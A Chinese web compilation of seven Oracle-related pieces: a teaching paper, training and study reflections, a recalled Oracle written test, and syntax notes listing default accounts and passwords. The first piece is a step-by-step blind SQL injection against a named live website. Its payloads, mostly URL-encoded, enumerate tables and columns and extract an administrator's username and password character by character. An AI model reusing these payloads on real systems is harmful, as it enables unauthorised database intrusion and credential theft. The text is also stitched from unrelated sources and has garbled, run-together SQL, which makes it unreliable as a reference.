oracle第一次总结(共7篇)
oracle第一次总结 篇1
信息来源: 防线
et.kpworld.com/star.asp?performer=马三立;
------------------------------------------------------
oraOLEDB错误
80040e14orA-00911:
invalidcharacter
/star.asp,行83
说明过滤了分号,
et.kpworld.com/star.asp?performer=马三立
----------------------------------------------------
oraOLEDB错误
80004005orA-01756:
括号内的字符串没有正确结束
/star.asp,行83
看来存在未过滤单引号问题。
et.kpworld.com/star.asp?performer=马三立and1=1
----------------------------------------------------------------
闭和他单引号,正常返回。
and0(selectcount(*)fromadmin)and1=1
-----------------------------------------------------------------
oraOLEDB错误80040e37orA-00942:
tableorviewdoesnotexist
/star.asp,行83
说明不存在ADMIN这个表.
******************************************************************
下面需要知道ORACLE的系统表:
确定表中行的总数:
selectnum_rowsfromuser_tableswheretable_name=表名
----------------------存放当前用户所有表
wheretable_name=表名
selectcolumn_name,
fromuser_tab_columns-----------------------存放所有列
wheretable_name=表名
and0(selectcount(*)fromall_tables)and1=1
---------------------------------------------------------------------
存在!
all_tables是一个系统表,用来存放当前ID和其他用户的所有表
and0(selectcount(*)fromuser_tables)and1=1
---------------------------------------------------------------------
返回。有这个系统表,这个表存放当前用户的所有表
and0(selecttop1table_namefromuser_tables)and1=1
---------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00923:
FROMkeywordnotfoundwhereexpected
/star.asp,行83
不支持TOP1?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP1)
and0(selectcount(*)fromuser_tableswheretable_nam)
and1=1
--------------------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00904:
invalidcolumnname/star.asp,行83
当语法错误时,会显示无效列名字
and0(selectcount(*)fromuser_tableswhere
table_name)and1=1
--------------------------------------------------------------------------------------------
语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试:
and0(selectcount(*)fromuser_tableswhere
sum(table_name)>1)and1=1
------------------------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00934:
groupfunctionisnotallowedhere
/star.asp,行83
组函数不允许在这里。
and0(selectcount(*)fromuser_tableswhereavg(table_name))and
1=1
-------------------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00934:
groupfunctionisnotallowedhere
/star.asp,行83
组函数不允许在这里。
and0(selectto_char(table_name)fromuser_tables)and%201=1
--------------------------------------------------------------------------
oraOLEDB错误80004005orA-01427:
single-rowsubqueryreturnsmore
thanonerow
/star.asp,行83
单行的子查询返回多于一行
and0(selectcount(*)fromuser_tableswheretable_name+1)
and%201=1
--------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00920:
invalidrelationaloperator
/star.asp,行83
测试到这里,下面看看怎么弄出他的表来:
and0(selectcount(*)fromperformer)and%201=1
-----------------------------------------------------
成功返回。这里的表是看前面URL猜的.
and0(selectcount(*)fromuser_tableswhere
table_name=performer)and%201=1
-------------------------------------------------------------------------------------
没返回。失败标志。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name=PERFORMER)
and%201=1
------------------------------------------------------------------------------------------------
成功了!看来这个user_tables表只认识大写字母!
and0(selectcount(*)fromuser_tableswhere
length(table_name)>10)and%201=1
------------------------------------------------------------------------------------
用length函数确定最长表的位数
and0(selectcount(*)fromuser_tableswhere
length(table_name)=18)and%201=1
-------------------------------------------------------------------------------------
省略若干步骤,最后确定最长表为18位。
and0(selectcount(*)fromuser_tableswhere
substr(table_name,1,1)=A)and%201=1
-----------------------------------------------------------------------------------------
第一位为A,
and0(selectcount(*)fromuser_tableswhere
substr(table_name,1,2)=AD)and%201=1
-----------------------------------------------------------------------------------------
第二位为AD
and0(selectcount(*)fromuser_tableswhere
substr(table_name,1,18)=ADMINAUTHORIZATION)and%201=1
---------------------------------------------------------------------------------------------
省略若干,18位的表名为ADMINAUTHORIZATION。
and1=(selectcount(*)fromuser_tableswhere
table_name=ADMINAUTHORIZATION)and%201=1
--------------------------------------------------------------------------------------------
返回。
and0(selectcount(*)fromuser_tableswhere
length(table_name)=2)and%201=1
----------------------------------------------------------------------------------
最小表名长度为2
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25user%25)%20and%20%201=1
-------------------------------------------------------------------------------------------------
没返回。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25ADMIN%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25PER%25)
and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25BBS%25)%20and%201=1
-------------------------------------------------------------------------------------------------
都成功返回。看来可以利用LIKE猜。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)>8)
and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)>10)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)=10)%20and%201=1
-------------------------------------------------------------------------------------------------
利用LIKE和LENGTH组合猜,马上就能确定长度。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=BBSS)%20and%201=1
-------------------------------------------------------------------------------------------------
猜出第四位是S。接下来就是重复劳动了。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=BBSSUBJECT)%20and%201=1
-------------------------------------------------------------------------------------------------
猜出来了。BBSSUBJECT
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=BBSSUBJECT%20and%20column_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=BBSSUBJECT%20and%20column_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
没返回,不象是保存用户和密码的表。再来。。。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)>10)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)>15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
确定长度为15。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=U%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=S%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=USER%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=UNSUBSCRIBEUSER)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name=UNSUBSCRIBEUSER)%20and%201=1
-------------------------------------------------------------------------------------------------
确定表名UNSUBSCRIBEUSER,接下来猜是否有密码字段,
。。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=UNSUBSCRIBEUSER%20and%20column_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=UNSUBSCRIBEUSER%20and%20column_name%20like%20%25PASS%25)%20and%201=1
-------------------------------------------------------------------------------------------------
LIKEPASS,没返回,郁闷,继续。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20%25PASS%25%20and%20length(table_name)=13)%20and%201=1
-------------------------------------------------------------------------------------------------
返回。不准确。
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)=SS)
and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)=SS)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=PASS)
and%201=1
-------------------------------------------------------------------------------------------------
这里用SUBSTR缩小范围.
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=PASS%20and%20length(column_name)=11)%20and%201=1
-------------------------------------------------------------------------------------------------
含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS那么PASS前是3位,后是4位,一共是11位。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)=PASSWORD)%20and%201=1
-------------------------------------------------------------------------------------------------
猜一下,果然是。。。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)=STRPASSWORD)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20length(table_name)=13)
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20length(table_name)=13)%20and%201=1
-------------------------------------------------------------------------------------------------
全返回,确定密码字段名字STRPASSWORD。把密码字段抓到就好办了,再利用他抓表名:
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20length(table_name)=13)
and1=1
-------------------------------------------------------------------------------------------------
返回,和上面猜出的表名长度符合。用SUBSTR猜出他名字:
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20substr(table_name,1,13)=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20table_name=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
全返回,确定表名为:ADMINISTRATOR.
and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
猜出表里有8个字段。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name%20like%20%25ID%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%203=(select%20count(*)%20from%20ADMINISTRATOR)and1=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,4,2)=ID)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,-2,2)=ID)%20and%201=1
-------------------------------------------------------------------------------------------------
可以判断是ID结尾了,长度为5。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,-5,5)=LNGID)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name=LNGID)%20and%201=1
-------------------------------------------------------------------------------------------------
出来了,LNGID。
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%201=1
-------------------------------------------------------------------------------------------------
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%201=1
-------------------------------------------------------------------------------------------------
and%=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%201=1
-------------------------------------------------------------------------------------------------
最小ID,最大ID也出来,接下来弄密码:
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
LNGID为8的密码长度为4
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第一位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第二位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第三位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第四位
STRPASSWORD:test
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=test%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
OH,YEAH~~密码出来了。
接着搞用户名:
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name%20like%20%25NAME%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,4,4)=NAME)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,-4,4)=NAME)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,1,7)=STRNAME)%20and%201=1
-------------------------------------------------------------------------------------------------
出来了,字段:STRNAME
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name%20not%20in(STRNAME,STRPASSWORD,LNGID))%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=test%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%201=1
-------------------------------------------------------------------------------------------------
STRNAME值长度为4,不会是和密码相同吧。。。
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=test%20and%20LNGID=8%20and%20STRNAME=test)%20and%201=1
-------------------------------------------------------------------------------------------------
呵呵,果然。
表名ADMINISTRATOR,列名:STRNAME,STRPASSWORD,LNGID
LNGID=8STRNAME=testSTRPASSWORD=test
测试完成!剩下的只是时间问题了。
oracle第一次总结 篇2
随着数据库技术在国内各行各业的普及使用, 相应地造成了企业在数据库管理与研发人才需求的巨大缺口, 从而近年来越来越多的高职院校也开始调整数据库技术教学计划, 由早期的一些SQL小型数据库 (例如:Access、VFP等) 的教学, 转而开设中大型DBMS (例如:Oracle、SQL Server等) 的相关课程。由于Oracle数据库作为占市场份额最大的大型数据库管理系统, 因此该课程也开始被引入到高职计算机专业教学计划中。
1 Oracle课程开设情况
笔者所在系自2005年开始, 陆续在软件技术、软件测试、数据库管理 (在2007年, 该专业改名为网站应用开发) 、信息管理等专业开设了Oracle数据库管理与编程这门课程。但由于Oracle 课程知识点多, 且难于掌握, 因此这门课程大多安排在学生专业学习的最后一个学年。经过几年的教学, 发现在最后一个学年的学习中, 大部分学生过多地被毕业所带来的压力分心, 因此就如何让学生能更好地掌握Oracle 数据库的知识和技能, 提高学生学习Oracle 数据库课程的兴趣, 都需要我们在教学中及时总结, 不断引入新的教学方法及教学技巧。
2 Oracle数据库的课程目标
Oracle数据库是软件技术、网络技术和计算机信息管理等专业的专业技能课程。针对Oracle数据库的特征, 从基本概念和实际应用出发, 学习Oracle的架构、数据库服务器规划与安装、安全管理、以及文件和数据库的管理、数据库的备份恢复等Oracle管理知识以及PL/SQL语言、存储过程和触发器等Oracle管理与编程等知识。着重培养学生对Oracle数据库使用和管理的实践技能。
3 构建教学实践环境与教学内容
3.1 构建教学实践环境
由于Oracle数据库管理与编程是一门实践性非常强的课程, 因此需要给学生一个Oracle数据库使用的仿真环境, 并以某种数据库角色所需要掌握的工作过程为教学过程。根据工作过程, 提取角色, 学生进行角色扮演;同时根据工作过程抽取任务, 交由学生完成。
Oracle数据库实践仿真环境由两台远程oracle数据库服务器和多台学生机组成。课程开始之前, 由授课老师, 给授课班级在服务器上创建数据库, 并创建几种权限不同的角色, 然后给班级每位同学创建一个独立的帐户。同学上机时, 可以使用分配给自己的帐户登陆服务器, 完成对数据库不同权限条件下的管理, 完成相应的练习。有了实践环境, 就可以对学生的实践学习进行实时的把握。学生在数据库服务器上所创建的各种数据库对象, 均可以查看, 以掌握学生的实践结果;通过查看数据库对象的创建时间, 以掌握每位学生的学习积极性;通过查看用户警告文件, 可了解学生所遇到的一些问题等等。
3.2 教学内容
根据本课程的教学目标, 结合本系学生的情况, 在表1中详细列举了Oracle数据库管理与编程课程的教学内容与课时安排。从表1中可以看出, 本课程实践学时约占总课时的一半左右, 为了突出实践教学的重要性, 授课教师在多媒体授课时, 也应该重视操作演示, 切不可只讲不练。
4 教学方法及教学技巧
依据本课程的教学大纲, 结合学生的学情, 认真分析课程内容, 结合教材, 归纳课程各章节的知识点, 进行取舍, 授课要做到突出重点, 尽量通俗易懂, 且精心设计教学案例。
4.1 教学类比
在Oracle教学中, 可以将知识点与学生身边的事进行比较, 让学生去发现、去概括、去加工, 从而形成自己的知识。例如讲Oracle数据库安全性策略之前, 可以先抛出如何保证一个系统安全的问题, 然后启发学生去分析自己常遇到的一些安全措施。例如:可以启发同学们分析下课堂教学的安全策略。同学们往往可以分析出, 课堂上主要存在两种角色:教师与学生。能进入教室的人, 都是合法的用户。教室里物品也分为教室固有的教学设备和学生自带的物品, 对这些物品的使用, 也是有不同的权限等。
通过将技术上的知识点, 尽量通俗化、身边化, 由浅入深, 做到学生容易理解和掌握。
4.2 教学互动
教学过程中的互动环节也是必不可少的。一个使用恰当的教学互动, 既可以吸引学生注意力, 甚至还能使学生愿意接受的方式。课堂上的教学互动可以在快乐的环境下, 让学生轻松地掌握新的知识点。例如:在讲授登录数据库服务器时, 可以让一位学生模拟下自己所能遇到的登录某一系统的过程。
4.3 教学实践
对于实践性强的Oracle教学, 实践课是极其重要的, 是学生理论联系实际的环节。因此利用项目教学, 角色扮演, 任务驱动的方法设计上机练习, 并利用远程数据库服务器, 及时地监督学生的完成情况。教师可以经常连接远程数据库服务器, 将学生完成练习的情况, 通过广播教学的方式, 让同学们及时掌握自己与其他人的练习完成情况, 并加以教师点评和同学点评。
5 结束语
通过五年的实践教学, 既收获了喜悦, 也发现了不少问题。例如:高职学生的学习积极性相对不高, 而且有些学生存在遇到学习困难, 就容易放弃课程学习的特点, 因此对于Oracle数据库这门知识点多, 且不容易掌握的课程, 往往不能持之与恒。此外该课程在本系的专业课程体系中存在一些不合理的地方, 以及课时量不够等问题。
问题也告诉了我们, 本课程是一门需要不断实践, 不断进行教学改革的特色课程, 因此本课程实践和改革是我们必须时刻思考的问题。
摘要:针对高职课程教学, 介绍了Oracle数据库课程的教学目标, 搭建课程教学实践环境, 然后总结一些实用的教学技巧, 最后提出一些问题, 以促进Oracle课程改革的发展。
关键词:Oracle,教学环境,教学类比,教学互动,教学实践
参考文献
[1]肖卓宇, 许晓英.ORACLE数据库课程教学方法及其目标的探讨[J].长沙通信职业技术学院学报, 2010 (1) .
oracle数据库实训总结 篇3
本次实训为期两个星期,时间充裕,也给予了我足够的学习和实践的时间。在这次实训里,我了解到了数据库设计的过程和任务,对之前所学的oracle知识也起了很好的复习和巩固作用。
我们小组的选择的实训项目是《电子商城系统》,在做产品需求的时候,因为对商城系统的了解不够充分,我们在产品的功能性需求分类处的一些细节做了多次改进,通过参考网上的需求分析文档以及老师的指导,总算是顺利完成。我负责的是购物板块,幸亏我多年的网购经验,对购物流程有着深刻的理解,并积极参考小米和华为等网上商城的网站,最后也是顺利完成。
接下来是第二个重头戏——数据库设计。首先,我们的数据库原型设计使用的软件是PowerDesigner,使用也还算简单吧。数据库的实体我们进行了深入的讨论,最后也做了多次修改,主要原因还是因为我们对电子商城的了解以及对于数据库实体之间的掌握还不够。在老师的指导下也算是顺利完成了。接下来也很顺利的完成了《数据库设计说明书》等的文档编写。
oracle培训心得 篇4
2010年x月x日至x月x日,我有幸参加了工业和信息化部软件与集成电路促进中心主办的“ORACLE数据库高级实战培训班”学习交流。首先感谢学校领导给予了我这次学习机会。通过短暂的几天培训,我不仅对Oracle知识有了部分的了解,也接受了很多最新的信息。
在这次培训中,上课的老师有非常丰富DBA经验,他结合他自身的DBA工作经历,从Oracle体系结构与网络配置、访问控制、事务处理与日志、闪回特性、数据库的备份与恢复和数据库性能监测与调整优化等几个方面对Oracle进行了讲解。对课程讲解十分的详细。通过案例示范以及演示,指导我们一步步操作。
Oracle主要以操作命令行为主,在学习的过程中,对老师的每一步操作都做好了记录。课堂上按照老师的要求一步步操作,课后按记录的操作步骤和命令反复多次的练习。以此到达了对Oracle反复学习,熟悉掌握老师所传授的知识。
oracle学习心得 篇5
oracle分两大块,一块是开发,一块是管理。开发主要是写写存储过程、触发器什么的,还有就是用Oracle的Develop工具做form。有点类似于程序员,需要有较强的逻辑思维和创造能力,个人觉得会比较辛苦,是青春饭J;管理则需要对oracle数据库的原理有深刻的认识,有全局操纵的能力和紧密的思维,责任较大,因为一个小的失误就会down掉整个数据库,相对前者来说,后者更看重经验。
因为数据库管理的责任重大,很少公司愿意请一个刚刚接触oracle的人去管理数据库。对于刚刚毕业的年轻人来说,可以先选择做开发,有一定经验后转型,去做数据库的管理。当然,这个还是要看人个的实际情况来定。
二、学习方法
我的方法很简单,就是:看书、思考、写笔记、做实验、再思考、再写笔记
看完理论的东西,自己静下心来想想,多问自己几个为什么,然后把所学和所想的知识点做个笔记;在想不通或有疑问的时候,就做做实验,想想怎么会这样,同样的,把实验的结果记下来。思考和做实验是为了深入的了解这个知识点。而做笔记的过程,也是理清自己思路的过程。
学习的过程是使一个问题由模糊到清晰,再由清晰到模糊的过程。而每次的改变都代表着你又学到了一个新的知识点。
学习的过程也是从点到线,从线到网,从网到面的过程。当点变成线的时候,你会有总豁然开朗的感觉。当网到面的时候,你就是高手了
很多网友,特别是初学的人,一碰到问题就拿到论坛上来问,在问前,你有没有查过书,自己有没有研究过,有没有搜索一下论坛?这就叫思维惰性,没有钻研的学习态度,不管学什么东西,都不会成功的。
三、oracle的体系
oracle的体系很庞大,要学习它,首先要了解oracle的框架。在这里,简要的讲一下oracle的架构,让初学者对oracle有一个整体的认识。
1、物理结构(由控制文件、数据文件、重做日志文件、参数文件、归档文件、密码文件组成)
控制文件:包含维护和验证数据库完整性的必要信息、例如,控制文件用于识别数据文件和重做日志文件,一个数据库至少需要一个控制文件
数据文件:存储数据的文件
重做日志文件:含对数据库所做的更改记录,这样万一出现故障可以启用数据恢复。一个数据库至少需要两个重做日志文件
参数文件:定义Oracle 例程的特性,例如它包含调整SGA 中一些内存结构大小的参数
归档文件:是重做日志文件的脱机副本,这些副本可能对于从介质失败中进行恢复很必要。
密码文件:认证哪些用户有权限启动和关闭Oracle例程
2、逻辑结构(表空间、段、区、块)表空间:是数据库中的基本逻辑结构,一系列数据文件的集合。段:是对象在数据库中占用的空间
区:是为数据一次性预留的一个较大的存储空间
块:ORACLE最基本的存储单位,在建立数据库的时候指定
3、内存分配(SGA和PGA)
SGA:是用于存储数据库信息的内存区,该信息为数据库进程所共享。它包含Oracle 服务器的数据和控制信息, 它是在Oracle 服务器所驻留的计算机的实际内存中得以分配,如果实际内存不够再往虚拟内存中写。
PGA:包含单个服务器进程或单个后台进程的数据和控制信息,与几个进程共享的SGA 正相反PGA 是只被一个进程使用的区域,PGA 在创建进程时分配在终止进程时回收
4、后台进程(数据写进程、日志写进程、系统监控、进程监控、检查点进程、归档进程、服务进程、用户进程)
数据写进程:负责将更改的数据从数据库缓冲区高速缓存写入数据文件
日志写进程:将重做日志缓冲区中的更改写入在线重做日志文件
系统监控:检查数据库的一致性如有必要还会在数据库打开时启动数据库的恢复进程监控:负责在一个Oracle 进程失败时清理资源
检查点进程:负责在每当缓冲区高速缓存中的更改永久地记录在数据库中时,更新控制文件和数据文件中的数据库状态信息。
归档进程:在每次日志切换时把已满的日志组进行备份或归档
服务进程:用户进程服务。
用户进程:在客户端,负责将用户的SQL 语句传递给服务进程,并从服务器段拿回查询数据。
5、oracle例程:Oracle 例程由SGA 内存结构和用于管理数据库的后台进程组成。例程一次只能打开和使用一个数据库。
6、SCN(System Change Number):系统改变号,一个由系统内部维护的序列号。当系统需要更新的时候自动增加,他是系统中维持数据的一致性和顺序恢复的重要标志。
四、深入学习
管理:可以考OCP证书,对oracle先有一个系统的学习,然后看Oracle Concepts、oracle online document,对oracle的原理会有更深入的了解,同时可以开始进行一些专题的研究如:RMAN、RAS、STATSPACT、DATAGUARD、TUNING、BACKUP&RECOVER等等。
开发:对于想做Oracle开发的,在了解完Oracle基本的体系结构之后,可以重点关注PL/SQL及Oracle的开发工具这一部分。PL/SQL主要是包括怎么写SQL语句,怎么使用Oracle本身的函数,怎么写存储过程、存储函数、触发器等。Oracle的开发工具主要就是Oracle自己的Developer Suite(Oracle Forms Developer and Reports Developer这些),学会如何熟练使用这些工具。
oracle 笔试 篇6
文章出处:bbs.fudan.edu.cn
发信人: kismet (向日葵-真是稀里糊涂啊), 信区: Job
标 题: orcal笔试归来
发信站: 日月光华 (2004年12月15日16:31:04 星期三), 站内信件
给以后要考的同学参考一下吧,
oracle 笔试
。
我申的是Graduate Trainee,笔试主要考察英文能力,不过里面的内容多数跟IT,互联
网有关。
试卷一共14页,一共75分钟。顺序记不清楚了,欢迎别的`同学补充。
1 将动词进行适当的形态时态变换,填空。
2 介词填空
3 改错(包括语法和拼写错误)
4 名次解释 要求用一个词组或者句子解释名词,蛮有意思的,记得有solution,self-le
arning,custumer centric,partnership,personal drive,还有几个想不起来了,
5 阅读理解 阅读一篇关于互联网安全的文章,回答几个问题。要求用整句回答
6 逻辑 跟SHL的那种一样,看一段短文,根据问题的陈述,选择true,not true,can
not say
7 作文 今年有两篇。
第一篇是要写一封商业信函。假设你是××公司的sales,今天去
客户那里介绍产品,介绍之后一位客户对你们的产品感兴趣,想进一步了解。请写一
封信给客户公司IT部门的经理,进行进一步的联系和回复。
第二篇是写一个说明。假设你有一个弟弟,他不怎么懂用电脑和上网搜索,并且他要
指示一步步去做 ,最终完成他想要做的事情。
感觉时间比较紧张,还是抓紧比较好。阅读,词汇都不难。四级就可以了。不过词汇大
ORACLE学习心得体会 篇7
下面是摘抄的部分 :[local]2[/local] oracle相关语法及命令
一、oracle入门
理论知识:
oracle的物理组件有三个:(1)数据文件 数据文件是用于存储数据库数据的文件,如表、索引数据。每个oracle数据库有一个或多个物理数据文件,一个数据文件只能与一个数据库关联。(2)日志文件 用于记录对数据库进行的修改信息,日志文件主要用于在数据库出现故障时实施数据库恢复。(3)控制文件 控制文件是记录数据库物理结构的二进制文件,每个oracle数据库都含有一个控制文件。
oracle的逻辑组件:
表空间(tablespace)表空间是数据库最大的逻辑单位,一个数据库至少包含一个表空间,一个表空间包含一个或多个段等等。
段(segment)段存在于表空间中,分成4类,数据段、索引段、回退段、临时段。区(extent)区是磁盘空间分配最小单位,由连续的数据块组成,一个或多个区构成段,区只能存在于一个数据文件中。
数据块(data block)数据块是数据库中最小的数据组织单位与管理单位,oracle数据库中的数据存储于数据块中,取值范围2k-64k之间。
模式(schema)模式是对用户所创建的数据库对象的总称,又称为用户模式。
概念:
内存 oracle内存结构包含以下两个内存区。
1、系统全局区(sga)实例启动时分配该内存区,是oracle实例的一个基本组件。又称为共享全局区,它用来存储数据库信息,并由多个数据库进程共享。可分为共享池、数据缓冲区及日志缓冲区。(1)共享池 是对sql、plsql程序进行语法分析、编译、执行的内存区域。共享池由库缓存和数据字典缓存组成。其中,库缓存含有最近执行的sql、plsql语句的分析码和执行计划;数据字典缓存含有从数据字典中得到的表、索引、列定义和权限等信息。(2)数据缓冲区 数据缓冲区用于存储从磁盘数据文件中读入的数据,所有用户共享。(3)日志缓冲区 日志记录数据库的所有修改信息,主要用于恢复数据。
2、程序全局区(pga)服务器进程启动时分配该内存区。pga为非共享区,只能单个进程使用,当一个用户会话结束后,pga释放。
用户进程(pga)发送sql语句到共享全局区(sga),先在共享池的库缓存中查询是否存在所需的数据块,如果存在就在数据字典中读取相应的数据块,如果不存在就由服务器进程(dbwr)来io数据库
语法知识:
创建表空间的语法如下:
create tablespace tablespacename datafile d:filename.dbf [size int [kb|mb]] [autoextend [off|on]];tablespacename 是需创建的表空间名称。datafile 指定组成表空间的一个或多个数据文件,当有多个数据文件时使用逗号分隔。
filename 是表空间中数据文件的路径和名称。size 指定文件的大小,用k指定千字节大小,用m指定兆字节大小。autoextend子句用来启用或禁用数据文件的自动扩展。oracle默认用户:
用户名:sys 默认密码:chage_on_install 用来管理拥有oracle数据字典文件 用户名:system 默认密码:manager 用来管理拥有数据字典视图对象 用户名:scott 默认密码:tiger 示例用户,包括emp、dept等表
连接oracle: 在控制台下输入 sqlplus 用户名/密码 回车或 sqlplusw 回车
相关命令:
disconn //退出当前登录 conn 用户名/密码 //连接oracle alter user 用户名 identified by 密码 //修改用户口令 drop user 用户名 cascade;//删除用户 alter user 用户名 account lock;//给某个用户加锁 alter user 用户名 account unlock;//给某个用户解锁 ed 回车: //打开缓冲区
/ 回车: //执行缓冲区中的语句 create user 用户名 identified by 密码 [password expire] [default tablespace 表空间名] [temporary tablespace 临时表空间名];//创建用户
